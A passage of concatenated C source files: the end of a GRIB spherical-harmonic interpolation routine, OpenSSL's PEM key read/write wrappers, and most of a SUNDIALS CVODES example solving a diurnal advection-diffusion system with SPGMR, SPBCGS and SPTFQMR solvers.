grib_context_log(context,GRIB_LOG_ERROR,
"nearest_sh: unable to allocate %d bytes",sizeof(double)*Lp1);
return GRIB_OUT_OF_MEMORY;
}
TI=(double*)grib_context_malloc_clear(context,sizeof(double)*Lp1);
if (!TI) {
grib_context_log(context,GRIB_LOG_ERROR,
"nearest_sh: unable to allocate %d bytes",sizeof(double)*Lp1);
return GRIB_OUT_OF_MEMORY;
}
err = grib_invtrans_legendre(L,sinlat,values,TR,TI);
if(err) return err;
*result=grib_invtrans_trig(L,TR,TI,c,s);
grib_context_free(context,c);
grib_context_free(context,s);
grib_context_free(context,TR);
grib_context_free(context,TI);
return GRIB_SUCCESS;
}
|
475117.c | /* crypto/pem/pem_all.c */
/* Copyright (C) 1995-1998 Eric Young ([email protected])
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young ([email protected]).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson ([email protected]).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young ([email protected])"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson ([email protected])"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.]
*/
/* ====================================================================
* Copyright (c) 1998-2002 The OpenSSL Project. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. All advertising materials mentioning features or use of this
* software must display the following acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit. (http://www.openssl.org/)"
*
* 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
* endorse or promote products derived from this software without
* prior written permission. For written permission, please contact
* [email protected].
*
* 5. Products derived from this software may not be called "OpenSSL"
* nor may "OpenSSL" appear in their names without prior written
* permission of the OpenSSL Project.
*
* 6. Redistributions of any form whatsoever must retain the following
* acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit (http://www.openssl.org/)"
*
* THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
* ====================================================================
*
* This product includes cryptographic software written by Eric Young
* ([email protected]). This product includes software written by Tim
* Hudson ([email protected]).
*
*/
#include <stdio.h>
#include "cryptlib.h"
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/x509.h>
#include <openssl/pkcs7.h>
#include <openssl/pem.h>
#ifndef OPENSSL_NO_RSA
#include <openssl/rsa.h>
#endif
#ifndef OPENSSL_NO_DSA
#include <openssl/dsa.h>
#endif
#ifndef OPENSSL_NO_DH
#include <openssl/dh.h>
#endif
#ifndef OPENSSL_NO_RSA
static RSA *pkey_get_rsa(EVP_PKEY *key, RSA **rsa);
#endif
#ifndef OPENSSL_NO_DSA
static DSA *pkey_get_dsa(EVP_PKEY *key, DSA **dsa);
#endif
#ifndef OPENSSL_NO_EC
static EC_KEY *pkey_get_eckey(EVP_PKEY *key, EC_KEY **eckey);
#endif
IMPLEMENT_PEM_rw(X509_REQ, X509_REQ, PEM_STRING_X509_REQ, X509_REQ)
IMPLEMENT_PEM_write(X509_REQ_NEW, X509_REQ, PEM_STRING_X509_REQ_OLD, X509_REQ)
IMPLEMENT_PEM_rw(X509_CRL, X509_CRL, PEM_STRING_X509_CRL, X509_CRL)
IMPLEMENT_PEM_rw(PKCS7, PKCS7, PEM_STRING_PKCS7, PKCS7)
IMPLEMENT_PEM_rw(NETSCAPE_CERT_SEQUENCE, NETSCAPE_CERT_SEQUENCE,
PEM_STRING_X509, NETSCAPE_CERT_SEQUENCE)
#ifndef OPENSSL_NO_RSA
/* We treat RSA or DSA private keys as a special case.
*
* For private keys we read in an EVP_PKEY structure with
* PEM_read_bio_PrivateKey() and extract the relevant private
* key: this means can handle "traditional" and PKCS#8 formats
* transparently.
*/
static RSA *pkey_get_rsa(EVP_PKEY *key, RSA **rsa)
{
RSA *rtmp;
if(!key) return NULL;
rtmp = EVP_PKEY_get1_RSA(key);
EVP_PKEY_free(key);
if(!rtmp) return NULL;
if(rsa) {
RSA_free(*rsa);
*rsa = rtmp;
}
return rtmp;
}
RSA *PEM_read_bio_RSAPrivateKey(BIO *bp, RSA **rsa, pem_password_cb *cb,
void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_bio_PrivateKey(bp, NULL, cb, u);
return pkey_get_rsa(pktmp, rsa);
}
#ifndef OPENSSL_NO_FP_API
RSA *PEM_read_RSAPrivateKey(FILE *fp, RSA **rsa, pem_password_cb *cb,
void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_PrivateKey(fp, NULL, cb, u);
return pkey_get_rsa(pktmp, rsa);
}
#endif
#ifdef OPENSSL_FIPS
int PEM_write_bio_RSAPrivateKey(BIO *bp, RSA *x, const EVP_CIPHER *enc,
unsigned char *kstr, int klen,
pem_password_cb *cb, void *u)
{
if (FIPS_mode())
{
EVP_PKEY *k;
int ret;
k = EVP_PKEY_new();
if (!k)
return 0;
EVP_PKEY_set1_RSA(k, x);
ret = PEM_write_bio_PrivateKey(bp, k, enc, kstr, klen, cb, u);
EVP_PKEY_free(k);
return ret;
}
else
return PEM_ASN1_write_bio((i2d_of_void *)i2d_RSAPrivateKey,
PEM_STRING_RSA,bp,x,enc,kstr,klen,cb,u);
}
#ifndef OPENSSL_NO_FP_API
int PEM_write_RSAPrivateKey(FILE *fp, RSA *x, const EVP_CIPHER *enc,
unsigned char *kstr, int klen,
pem_password_cb *cb, void *u)
{
if (FIPS_mode())
{
EVP_PKEY *k;
int ret;
k = EVP_PKEY_new();
if (!k)
return 0;
EVP_PKEY_set1_RSA(k, x);
ret = PEM_write_PrivateKey(fp, k, enc, kstr, klen, cb, u);
EVP_PKEY_free(k);
return ret;
}
else
return PEM_ASN1_write((i2d_of_void *)i2d_RSAPrivateKey,
PEM_STRING_RSA,fp,x,enc,kstr,klen,cb,u);
}
#endif
#else
IMPLEMENT_PEM_write_cb_const(RSAPrivateKey, RSA, PEM_STRING_RSA, RSAPrivateKey)
#endif
IMPLEMENT_PEM_rw_const(RSAPublicKey, RSA, PEM_STRING_RSA_PUBLIC, RSAPublicKey)
IMPLEMENT_PEM_rw(RSA_PUBKEY, RSA, PEM_STRING_PUBLIC, RSA_PUBKEY)
#endif
#ifndef OPENSSL_NO_DSA
static DSA *pkey_get_dsa(EVP_PKEY *key, DSA **dsa)
{
DSA *dtmp;
if(!key) return NULL;
dtmp = EVP_PKEY_get1_DSA(key);
EVP_PKEY_free(key);
if(!dtmp) return NULL;
if(dsa) {
DSA_free(*dsa);
*dsa = dtmp;
}
return dtmp;
}
DSA *PEM_read_bio_DSAPrivateKey(BIO *bp, DSA **dsa, pem_password_cb *cb,
void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_bio_PrivateKey(bp, NULL, cb, u);
return pkey_get_dsa(pktmp, dsa); /* will free pktmp */
}
#ifdef OPENSSL_FIPS
int PEM_write_bio_DSAPrivateKey(BIO *bp, DSA *x, const EVP_CIPHER *enc,
unsigned char *kstr, int klen,
pem_password_cb *cb, void *u)
{
if (FIPS_mode())
{
EVP_PKEY *k;
int ret;
k = EVP_PKEY_new();
if (!k)
return 0;
EVP_PKEY_set1_DSA(k, x);
ret = PEM_write_bio_PrivateKey(bp, k, enc, kstr, klen, cb, u);
EVP_PKEY_free(k);
return ret;
}
else
return PEM_ASN1_write_bio((i2d_of_void *)i2d_DSAPrivateKey,
PEM_STRING_DSA,bp,x,enc,kstr,klen,cb,u);
}
#ifndef OPENSSL_NO_FP_API
int PEM_write_DSAPrivateKey(FILE *fp, DSA *x, const EVP_CIPHER *enc,
unsigned char *kstr, int klen,
pem_password_cb *cb, void *u)
{
if (FIPS_mode())
{
EVP_PKEY *k;
int ret;
k = EVP_PKEY_new();
if (!k)
return 0;
EVP_PKEY_set1_DSA(k, x);
ret = PEM_write_PrivateKey(fp, k, enc, kstr, klen, cb, u);
EVP_PKEY_free(k);
return ret;
}
else
return PEM_ASN1_write((i2d_of_void *)i2d_DSAPrivateKey,
PEM_STRING_DSA,fp,x,enc,kstr,klen,cb,u);
}
#endif
#else
IMPLEMENT_PEM_write_cb_const(DSAPrivateKey, DSA, PEM_STRING_DSA, DSAPrivateKey)
#endif
IMPLEMENT_PEM_rw(DSA_PUBKEY, DSA, PEM_STRING_PUBLIC, DSA_PUBKEY)
#ifndef OPENSSL_NO_FP_API
DSA *PEM_read_DSAPrivateKey(FILE *fp, DSA **dsa, pem_password_cb *cb,
void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_PrivateKey(fp, NULL, cb, u);
return pkey_get_dsa(pktmp, dsa); /* will free pktmp */
}
#endif
IMPLEMENT_PEM_rw_const(DSAparams, DSA, PEM_STRING_DSAPARAMS, DSAparams)
#endif
#ifndef OPENSSL_NO_EC
static EC_KEY *pkey_get_eckey(EVP_PKEY *key, EC_KEY **eckey)
{
EC_KEY *dtmp;
if(!key) return NULL;
dtmp = EVP_PKEY_get1_EC_KEY(key);
EVP_PKEY_free(key);
if(!dtmp) return NULL;
if(eckey)
{
EC_KEY_free(*eckey);
*eckey = dtmp;
}
return dtmp;
}
EC_KEY *PEM_read_bio_ECPrivateKey(BIO *bp, EC_KEY **key, pem_password_cb *cb,
void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_bio_PrivateKey(bp, NULL, cb, u);
return pkey_get_eckey(pktmp, key); /* will free pktmp */
}
IMPLEMENT_PEM_rw_const(ECPKParameters, EC_GROUP, PEM_STRING_ECPARAMETERS, ECPKParameters)
#ifdef OPENSSL_FIPS
int PEM_write_bio_ECPrivateKey(BIO *bp, EC_KEY *x, const EVP_CIPHER *enc,
unsigned char *kstr, int klen,
pem_password_cb *cb, void *u)
{
if (FIPS_mode())
{
EVP_PKEY *k;
int ret;
k = EVP_PKEY_new();
if (!k)
return 0;
EVP_PKEY_set1_EC_KEY(k, x);
ret = PEM_write_bio_PrivateKey(bp, k, enc, kstr, klen, cb, u);
EVP_PKEY_free(k);
return ret;
}
else
return PEM_ASN1_write_bio((i2d_of_void *)i2d_ECPrivateKey,
PEM_STRING_ECPRIVATEKEY,
bp,x,enc,kstr,klen,cb,u);
}
#ifndef OPENSSL_NO_FP_API
int PEM_write_ECPrivateKey(FILE *fp, EC_KEY *x, const EVP_CIPHER *enc,
unsigned char *kstr, int klen,
pem_password_cb *cb, void *u)
{
if (FIPS_mode())
{
EVP_PKEY *k;
int ret;
k = EVP_PKEY_new();
if (!k)
return 0;
EVP_PKEY_set1_EC_KEY(k, x);
ret = PEM_write_PrivateKey(fp, k, enc, kstr, klen, cb, u);
EVP_PKEY_free(k);
return ret;
}
else
return PEM_ASN1_write((i2d_of_void *)i2d_ECPrivateKey,
PEM_STRING_ECPRIVATEKEY,
fp,x,enc,kstr,klen,cb,u);
}
#endif
#else
IMPLEMENT_PEM_write_cb(ECPrivateKey, EC_KEY, PEM_STRING_ECPRIVATEKEY, ECPrivateKey)
#endif
IMPLEMENT_PEM_rw(EC_PUBKEY, EC_KEY, PEM_STRING_PUBLIC, EC_PUBKEY)
#ifndef OPENSSL_NO_FP_API
EC_KEY *PEM_read_ECPrivateKey(FILE *fp, EC_KEY **eckey, pem_password_cb *cb,
void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_PrivateKey(fp, NULL, cb, u);
return pkey_get_eckey(pktmp, eckey); /* will free pktmp */
}
#endif
#endif
#ifndef OPENSSL_NO_DH
IMPLEMENT_PEM_write_const(DHparams, DH, PEM_STRING_DHPARAMS, DHparams)
IMPLEMENT_PEM_write_const(DHxparams, DH, PEM_STRING_DHXPARAMS, DHxparams)
#endif
IMPLEMENT_PEM_rw(PUBKEY, EVP_PKEY, PEM_STRING_PUBLIC, PUBKEY)
|
635345.c | /* -----------------------------------------------------------------
* Programmer(s): Scott D. Cohen, Alan C. Hindmarsh and
* Radu Serban @ LLNL
* -----------------------------------------------------------------
* SUNDIALS Copyright Start
* Copyright (c) 2002-2019, Lawrence Livermore National Security
* and Southern Methodist University.
* All rights reserved.
*
* See the top-level LICENSE and NOTICE files for details.
*
* SPDX-License-Identifier: BSD-3-Clause
* SUNDIALS Copyright End
* -----------------------------------------------------------------
* This example loops through the available iterative linear solvers:
* SPGMR, SPBCG and SPTFQMR.
*
* Example problem:
*
* An ODE system is generated from the following 2-species diurnal
* kinetics advection-diffusion PDE system in 2 space dimensions:
*
* dc(i)/dt = Kh*(d/dx)^2 c(i) + V*dc(i)/dx + (d/dy)(Kv(y)*dc(i)/dy)
* + Ri(c1,c2,t) for i = 1,2, where
* R1(c1,c2,t) = -q1*c1*c3 - q2*c1*c2 + 2*q3(t)*c3 + q4(t)*c2 ,
* R2(c1,c2,t) = q1*c1*c3 - q2*c1*c2 - q4(t)*c2 ,
* Kv(y) = Kv0*exp(y/5) ,
* Kh, V, Kv0, q1, q2, and c3 are constants, and q3(t) and q4(t)
* vary diurnally. The problem is posed on the square
* 0 <= x <= 20, 30 <= y <= 50 (all in km),
* with homogeneous Neumann boundary conditions, and for time t in
* 0 <= t <= 86400 sec (1 day).
* The PDE system is treated by central differences on a uniform
* 10 x 10 mesh, with simple polynomial initial profiles.
* The problem is solved with CVODE, with the BDF/GMRES,
* BDF/Bi-CGStab, and BDF/TFQMR methods (i.e. using the SUNLinSol_SPGMR,
* SUNLinSol_SPBCGS and SUNLinSol_SPTFQMR linear solvers) and the
* block-diagonal part of the Newton matrix as a left preconditioner.
* A copy of the block-diagonal part of the Jacobian is saved and
* conditionally reused within the Precond routine.
* -----------------------------------------------------------------*/
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <cvodes/cvodes.h> /* main integrator header file */
#include <sunlinsol/sunlinsol_spgmr.h> /* access to SPGMR SUNLinearSolver */
#include <sunlinsol/sunlinsol_spbcgs.h> /* access to SPBCGS SUNLinearSolver */
#include <sunlinsol/sunlinsol_sptfqmr.h> /* access to SPTFQMR SUNLinearSolver */
#include <nvector/nvector_serial.h> /* serial N_Vector types, fct. and macros */
#include <sundials/sundials_dense.h> /* use generic DENSE solver in preconditioning */
#include <sundials/sundials_types.h> /* definition of realtype */
/* helpful macros */
#ifndef SQR
#define SQR(A) ((A)*(A))
#endif
/* Problem Constants */
#define ZERO RCONST(0.0)
#define ONE RCONST(1.0)
#define TWO RCONST(2.0)
#define NUM_SPECIES 2 /* number of species */
#define KH RCONST(4.0e-6) /* horizontal diffusivity Kh */
#define VEL RCONST(0.001) /* advection velocity V */
#define KV0 RCONST(1.0e-8) /* coefficient in Kv(y) */
#define Q1 RCONST(1.63e-16) /* coefficients q1, q2, c3 */
#define Q2 RCONST(4.66e-16)
#define C3 RCONST(3.7e16)
#define A3 RCONST(22.62) /* coefficient in expression for q3(t) */
#define A4 RCONST(7.601) /* coefficient in expression for q4(t) */
#define C1_SCALE RCONST(1.0e6) /* coefficients in initial profiles */
#define C2_SCALE RCONST(1.0e12)
#define T0 ZERO /* initial time */
#define NOUT 12 /* number of output times */
#define TWOHR RCONST(7200.0) /* number of seconds in two hours */
#define HALFDAY RCONST(4.32e4) /* number of seconds in a half day */
#define PI RCONST(3.1415926535898) /* pi */
#define XMIN ZERO /* grid boundaries in x */
#define XMAX RCONST(20.0)
#define YMIN RCONST(30.0) /* grid boundaries in y */
#define YMAX RCONST(50.0)
#define XMID RCONST(10.0) /* grid midpoints in x,y */
#define YMID RCONST(40.0)
#define MX 10 /* MX = number of x mesh points */
#define MY 10 /* MY = number of y mesh points */
#define NSMX 20 /* NSMX = NUM_SPECIES*MX */
#define MM (MX*MY) /* MM = MX*MY */
/* CVodeInit Constants */
#define RTOL RCONST(1.0e-5) /* scalar relative tolerance */
#define FLOOR RCONST(100.0) /* value of C1 or C2 at which tolerances */
/* change from relative to absolute */
#define ATOL (RTOL*FLOOR) /* scalar absolute tolerance */
#define NEQ (NUM_SPECIES*MM) /* NEQ = number of equations */
/* Linear Solver Loop Constants */
#define USE_SPGMR 0
#define USE_SPBCG 1
#define USE_SPTFQMR 2
/* User-defined vector and matrix accessor macros: IJKth, IJth */
/* IJKth is defined in order to isolate the translation from the
mathematical 3-dimensional structure of the dependent variable vector
to the underlying 1-dimensional storage. IJth is defined in order to
write code which indexes into dense matrices with a (row,column)
pair, where 1 <= row, column <= NUM_SPECIES.
IJKth(vdata,i,j,k) references the element in the vdata array for
species i at mesh point (j,k), where 1 <= i <= NUM_SPECIES,
0 <= j <= MX-1, 0 <= k <= MY-1. The vdata array is obtained via
the call vdata = N_VGetArrayPointer(v), where v is an N_Vector.
For each mesh point (j,k), the elements for species i and i+1 are
contiguous within vdata.
IJth(a,i,j) references the (i,j)th entry of the matrix realtype **a,
where 1 <= i,j <= NUM_SPECIES. The small matrix routines in
sundials_dense.h work with matrices stored by column in a 2-dimensional
array. In C, arrays are indexed starting at 0, not 1. */
#define IJKth(vdata,i,j,k) (vdata[i-1 + (j)*NUM_SPECIES + (k)*NSMX])
#define IJth(a,i,j) (a[j-1][i-1])
/* Type : UserData
contains preconditioner blocks, pivot arrays, and problem constants */
typedef struct {
realtype **P[MX][MY], **Jbd[MX][MY];
sunindextype *pivot[MX][MY];
realtype q4, om, dx, dy, hdco, haco, vdco;
} *UserData;
/* Private Helper Functions */
static UserData AllocUserData(void);
static void InitUserData(UserData data);
static void FreeUserData(UserData data);
static void SetInitialProfiles(N_Vector u, realtype dx, realtype dy);
static void PrintOutput(void *cvode_mem, N_Vector u, realtype t);
static void PrintFinalStats(void *cvode_mem, int linsolver);
static int check_retval(void *returnvalue, const char *funcname, int opt);
/* Functions Called by the Solver */
static int f(realtype t, N_Vector u, N_Vector udot, void *user_data);
static int Precond(realtype tn, N_Vector u, N_Vector fu, booleantype jok,
booleantype *jcurPtr, realtype gamma, void *user_data);
static int PSolve(realtype tn, N_Vector u, N_Vector fu,
N_Vector r, N_Vector z,
realtype gamma, realtype delta,
int lr, void *user_data);
/*
*-------------------------------
* Main Program
*-------------------------------
*/
int main(void)
{
realtype abstol, reltol, t, tout;
N_Vector u;
UserData data;
SUNLinearSolver LS;
void *cvode_mem;
int linsolver, iout, retval;
u = NULL;
data = NULL;
LS = NULL;
cvode_mem = NULL;
/* Allocate memory, and set problem data, initial values, tolerances */
u = N_VNew_Serial(NEQ);
if(check_retval((void *)u, "N_VNew_Serial", 0)) return(1);
data = AllocUserData();
if(check_retval((void *)data, "AllocUserData", 2)) return(1);
InitUserData(data);
SetInitialProfiles(u, data->dx, data->dy);
abstol=ATOL;
reltol=RTOL;
/* Call CVodeCreate to create the solver memory and specify the
* Backward Differentiation Formula */
cvode_mem = CVodeCreate(CV_BDF);
if(check_retval((void *)cvode_mem, "CVodeCreate", 0)) return(1);
/* Set the pointer to user-defined data */
retval = CVodeSetUserData(cvode_mem, data);
if(check_retval(&retval, "CVodeSetUserData", 1)) return(1);
/* Call CVodeInit to initialize the integrator memory and specify the
* user's right hand side function in u'=f(t,u), the inital time T0, and
* the initial dependent variable vector u. */
retval = CVodeInit(cvode_mem, f, T0, u);
if(check_retval(&retval, "CVodeInit", 1)) return(1);
/* Call CVodeSStolerances to specify the scalar relative tolerance
* and scalar absolute tolerances */
retval = CVodeSStolerances(cvode_mem, reltol, abstol);
if (check_retval(&retval, "CVodeSStolerances", 1)) return(1);
/* START: Loop through SPGMR, SPBCG and SPTFQMR linear solver modules */
for (linsolver = 0; linsolver < 3; ++linsolver) {
if (linsolver != 0) {
/* Re-initialize user data */
InitUserData(data);
SetInitialProfiles(u, data->dx, data->dy);
/* Re-initialize CVode for the solution of the same problem, but
using a different linear solver module */
retval = CVodeReInit(cvode_mem, T0, u);
if (check_retval(&retval, "CVodeReInit", 1)) return(1);
}
/* Free previous linear solver and attach a new linear solver module */
SUNLinSolFree(LS);
switch(linsolver) {
/* (a) SPGMR */
case(USE_SPGMR):
/* Print header */
printf(" -------");
printf(" \n| SPGMR |\n");
printf(" -------\n");
/* Call SUNLinSol_SPGMR to specify the linear solver SPGMR
with left preconditioning and the default Krylov dimension */
LS = SUNLinSol_SPGMR(u, PREC_LEFT, 0);
if(check_retval((void *)LS, "SUNLinSol_SPGMR", 0)) return(1);
retval = CVodeSetLinearSolver(cvode_mem, LS, NULL);
if(check_retval(&retval, "CVodeSetLinearSolver", 1)) return 1;
break;
/* (b) SPBCG */
case(USE_SPBCG):
/* Print header */
printf(" -------");
printf(" \n| SPBCGS |\n");
printf(" -------\n");
/* Call SUNLinSol_SPBCGS to specify the linear solver SPBCGS
with left preconditioning and the maximum Krylov dimension maxl */
LS = SUNLinSol_SPBCGS(u, PREC_LEFT, 0);
if(check_retval((void *)LS, "SUNLinSol_SPBCGS", 0)) return(1);
retval = CVodeSetLinearSolver(cvode_mem, LS, NULL);
if(check_retval(&retval, "CVodeSetLinearSolver", 1)) return 1;
break;
/* (c) SPTFQMR */
case(USE_SPTFQMR):
/* Print header */
printf(" ---------");
printf(" \n| SPTFQMR |\n");
printf(" ---------\n");
/* Call SUNLinSol_SPTFQMR to specify the linear solver SPTFQMR
with left preconditioning and the maximum Krylov dimension maxl */
LS = SUNLinSol_SPTFQMR(u, PREC_LEFT, 0);
if(check_retval((void *)LS, "SUNLinSol_SPTFQMR", 0)) return(1);
retval = CVodeSetLinearSolver(cvode_mem, LS, NULL);
if(check_retval(&retval, "CVodeSetLinearSolver", 1)) return 1;
break;
}
/* Set preconditioner setup and solve routines Precond and PSolve,
and the pointer to the user-defined block data */
retval = CVodeSetPreconditioner(cvode_mem, Precond, PSolve);
if(check_retval(&retval, "CVodeSetPreconditioner", 1)) return(1);
/* In loop over output points, call CVode, print results, test for error */
printf(" \n2-species diurnal advection-diffusion problem\n\n");
for (iout=1, tout = TWOHR; iout <= NOUT; iout++, tout += TWOHR) {
retval = CVode(cvode_mem, tout, u, &t, CV_NORMAL);
PrintOutput(cvode_mem, u, t);
if(check_retval(&retval, "CVode", 1)) break;
}
PrintFinalStats(cvode_mem, linsolver);
} /* END: Loop through SPGMR, SPBCG and SPTFQMR linear solver modules */
/* Free memory */
N_VDestroy(u);
FreeUserData(data);
CVodeFree(&cvode_mem);
SUNLinSolFree(LS);
return(0);
}
/*
*-------------------------------
* Private helper functions
*-------------------------------
*/
/* Allocate memory for data structure of type UserData */
static UserData AllocUserData(void)
{
int jx, jy;
UserData data;
data = (UserData) malloc(sizeof *data);
for (jx=0; jx < MX; jx++) {
for (jy=0; jy < MY; jy++) {
(data->P)[jx][jy] = newDenseMat(NUM_SPECIES, NUM_SPECIES);
(data->Jbd)[jx][jy] = newDenseMat(NUM_SPECIES, NUM_SPECIES);
(data->pivot)[jx][jy] = newIndexArray(NUM_SPECIES);
}
}
return(data);
}
/* Load problem constants in data */
static void InitUserData(UserData data)
{
data->om = PI/HALFDAY;
data->dx = (XMAX-XMIN)/(MX-1);
data->dy = (YMAX-YMIN)/(MY-1);
data->hdco = KH/SQR(data->dx);
data->haco = VEL/(TWO*data->dx);
data->vdco = (ONE/SQR(data->dy))*KV0;
}
/* Free data memory */
static void FreeUserData(UserData data)
{
int jx, jy;
for (jx=0; jx < MX; jx++) {
for (jy=0; jy < MY; jy++) {
destroyMat((data->P)[jx][jy]);
destroyMat((data->Jbd)[jx][jy]);
destroyArray((data->pivot)[jx][jy]);
}
}
free(data);
}
/* Set initial conditions in u */
static void SetInitialProfiles(N_Vector u, realtype dx, realtype dy)
{
int jx, jy;
realtype x, y, cx, cy;
realtype *udata;
/* Set pointer to data array in vector u. */
udata = N_VGetArrayPointer(u);
/* Load initial profiles of c1 and c2 into u vector */
for (jy=0; jy < MY; jy++) {
y = YMIN + jy*dy;
cy = SQR(RCONST(0.1)*(y - YMID));
cy = ONE - cy + RCONST(0.5)*SQR(cy);
for (jx=0; jx < MX; jx++) {
x = XMIN + jx*dx;
cx = SQR(RCONST(0.1)*(x - XMID));
cx = ONE - cx + RCONST(0.5)*SQR(cx);
IJKth(udata,1,jx,jy) = C1_SCALE*cx*cy;
IJKth(udata,2,jx,jy) = C2_SCALE*cx*cy;
}
}
}
/* Print current t, step count, order, stepsize, and sampled c1,c2 values */
static void PrintOutput(void *cvode_mem, N_Vector u, realtype t)
{
long int nst;
int qu, retval;
realtype hu, *udata;
int mxh = MX/2 - 1, myh = MY/2 - 1, mx1 = MX - 1, my1 = MY - 1;
udata = N_VGetArrayPointer(u);
retval = CVodeGetNumSteps(cvode_mem, &nst);
check_retval(&retval, "CVodeGetNumSteps", 1);
retval = CVodeGetLastOrder(cvode_mem, &qu);
check_retval(&retval, "CVodeGetLastOrder", 1);
retval = CVodeGetLastStep(cvode_mem, &hu);
check_retval(&retval, "CVodeGetLastStep", 1);
#if defined(SUNDIALS_EXTENDED_PRECISION)
printf("t = %.2Le no. steps = %ld order = %d stepsize = %.2Le\n",
t, nst, qu, hu);
printf("c1 (bot.left/middle/top rt.) = %12.3Le %12.3Le %12.3Le\n",
IJKth(udata,1,0,0), IJKth(udata,1,mxh,myh), IJKth(udata,1,mx1,my1));
printf("c2 (bot.left/middle/top rt.) = %12.3Le %12.3Le %12.3Le\n\n",
IJKth(udata,2,0,0), IJKth(udata,2,mxh,myh), IJKth(udata,2,mx1,my1));
#elif defined(SUNDIALS_DOUBLE_PRECISION)
printf("t = %.2e no. steps = %ld order = %d stepsize = %.2e\n",
t, nst, qu, hu);
printf("c1 (bot.left/middle/top rt.) = %12.3e %12.3e %12.3e\n",
IJKth(udata,1,0,0), IJKth(udata,1,mxh,myh), IJKth(udata,1,mx1,my1));
printf("c2 (bot.left/middle/top rt.) = %12.3e %12.3e %12.3e\n\n",
IJKth(udata,2,0,0), IJKth(udata,2,mxh,myh), IJKth(udata,2,mx1,my1));
#else
printf("t = %.2e no. steps = %ld order = %d stepsize = %.2e\n",
t, nst, qu, hu);
printf("c1 (bot.left/middle/top rt.) = %12.3e %12.3e %12.3e\n",
IJKth(udata,1,0,0), IJKth(udata,1,mxh,myh), IJKth(udata,1,mx1,my1));
printf("c2 (bot.left/middle/top rt.) = %12.3e %12.3e %12.3e\n\n",
IJKth(udata,2,0,0), IJKth(udata,2,mxh,myh), IJKth(udata,2,mx1,my1));
#endif
}
/* Get and print final statistics */
static void PrintFinalStats(void *cvode_mem, int linsolver)
{
long int lenrw, leniw ;
long int lenrwLS, leniwLS;
long int nst, nfe, nsetups, nni, ncfn, netf;
long int nli, npe, nps, ncfl, nfeLS;
int retval;
retval = CVodeGetWorkSpace(cvode_mem, &lenrw, &leniw);
check_retval(&retval, "CVodeGetWorkSpace", 1);
retval = CVodeGetNumSteps(cvode_mem, &nst);
check_retval(&retval, "CVodeGetNumSteps", 1);
